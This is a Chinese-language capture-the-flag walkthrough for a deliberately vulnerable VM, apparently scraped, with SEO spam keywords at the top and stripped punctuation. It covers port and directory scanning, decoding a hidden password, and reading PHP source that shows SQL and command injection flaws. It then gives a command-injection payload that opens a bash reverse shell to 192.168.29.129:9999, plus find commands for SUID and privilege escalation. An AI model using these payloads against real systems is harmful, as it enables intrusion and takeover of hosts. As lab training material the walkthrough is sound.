万荣网站建设,淘宝的网站是怎么做的,东莞公认的第一富人区,宁波的网络营销服务公司环境搭建
环境下载
kail 和 靶机网络适配调成 Nat 模式#xff0c;实在不行直接把网络适配还原默认值#xff0c;再重试。
信息收集
主机扫描 没扫到#xff0c;那可能端口很靠后#xff0c;把所有端口全扫一遍。 发现 33447 端口。 扫描目录#xff0c;没什么有用的…环境搭建
环境下载
kail 和 靶机网络适配调成 Nat 模式实在不行直接把网络适配还原默认值再重试。
信息收集
主机扫描 没扫到那可能端口很靠后把所有端口全扫一遍。 发现 33447 端口。 扫描目录没什么有用的。 在首页有个 /Challenge 目录但是这个目录dirsearch 和 御剑的字典里没有赶紧添加一波或者我们可以换个字典用 kail 的 dirbuster这个里面的字典就很多。 在网站的最下边有一串 16 进制的数字把他们转换为字符串再 base64 解密一下就可以得到 wow.jpg 密码再结合扫的目录/images/wow.jpg
把 图片下载下来用 string是把字符提取出来。 在最底部可以看到一串数字字符串就是 7aee0f6d588ed9905ee37f16a7c610d4 有点像 hash 解密一下密码为 63425
登录
nnd弄了半天没成功在二次爆破一下 /Challenge 目录因为靶机是我们自己搭的线程可以调高一点。 挨个看一下。
cake.php 提示了个目录无权访问难道还要三次爆破先把其他页面看一下吧。 include.php 可以用伪协议读取源码。 cake.php:
?php
include_once includes/db_connect.php;
include_once includes/functions.php; // 有登录的函数
?!DOCTYPE html
htmlheadmeta charsetUTF-8link relstylesheet hrefcss/style.csslink relstylesheet hrefstyles/main.css /title/Magic_Box/title/headbodydiv classwrapperdiv classcontainerph1font colorRedAh.haan....There is long way to go..dude :-)/h1/fontbrfont colorGreenPlease a hrefindex.phplogin/a/f$/body
/html
?php/* Come on....catch this file tails.php */
?
.à.ñ!¶ihacked.php
?php
include_once includes/db_connect.php;
include_once includes/functions.php;sec_session_start();if (!isset($_SESSION[protected_page])){header(Location: protected_page.php);exit;
}
if (!isset($_SESSION[index_page])){header(Location: protected_page.php);exit;
}
?
!DOCTYPE html
htmlheadmeta charsetUTF-8link relstylesheet hrefcss/style.csslink relstylesheet hrefstyles/main.css /titleTry to Extract Juicy details/title/headbodydiv classwrapperdiv classcontainer?phpif(isset($_REQUEST[add])){$dbhost localhost;$dbuser root;$dbpass mehak;$conn mysql_connect($dbhost, $dbuser, $dbpass);if(! $conn ){die(Could not connect: . mysql_error());}$id $_POST[id];$sql SELECT * FROM members WHERE ID (($id));mysql_select_db(secure_login);$retval mysql_query( $sql, $conn );if(! $retval ){die(Could not enter data: . mysql_error());}echo You have entered ID successfully...Which is not a big deal :D\n;mysql_close($conn);}?p h1You are going Good...Show me your Ninja Skills./h1 br form methodget action?php $_PHP_SELF ?Enter your ID:input nameid placeholderid typetext idid maxlength20input nameadd typesubmit idadd valueAdd ID/body/html
.à.ñ!¶iMagic_Box 爆出几个目录。 low.php:
?php
if( isset( $_POST[ submit ] ) ) {$target $_REQUEST[ IP ];// Determine OS and execute the ping command.if (stristr(php_uname(s), Windows NT)) { $cmd shell_exec( ping . $target );$html . pre.$cmd./pre;} else { $cmd shell_exec( ping -c 3 . $target );$html . pre.$cmd./pre;echo $cmd;}
}
?
à“ñ!¶icommand.php
?php
include_once ../includes/db_connect.php;
include_once ../includes/functions.php;
if( isset( $_POST[ submit ] ) ) {
$target $_REQUEST[ IP ];if (stristr(php_uname(s), Windows NT)) {
$cmd shell_exec( ping . $target );
$html . pre.$cmd./pre;
} else {
$cmd shell_exec( ping -c 3 . $target );
$html . pre.$cmd./pre;
echo $cmd/br;
}
}
?
!DOCTYPE html
htmlheadmeta charsetUTF-8link relstylesheet href../css/style.csslink relstylesheet href../styles/main.css /titleReverse Kunfu/title/headbodydiv classwrapperdiv classcontainerp h1You are 1337 Hax0r. Keep your patiene and proceed further./h1 br form methodpost action?php $_PHP_SELF ?Enter the Host to Ping:input nameIP placeholderIP ADDRESS typetext idIP maxlength200input namesubmit typesubmit idsubmit valuesubmit/body/html
à“ñ!¶itails.php 让我们输入 ID输入之前获得的 63425成功进入 command.php
可以命令执行127.0.0.1|ls 直接反弹 shell
127.0.0.1|bash -c bash -i /dev/tcp/192.168.29.129/9999 01查找 user 的相关文件发现一个数据包把它复制到可以访问的目录下访问下载用 wireshark 打开。
find / -user acid 2/dev/null追踪 tcp 流看到一个疑似密码试一下
su saman
sudo su root总结
dirbuster 扫目录
find / -perm -us 2/dev/null 查找可用 suid
find / -user acid 2/dev/null 查找用户相关文件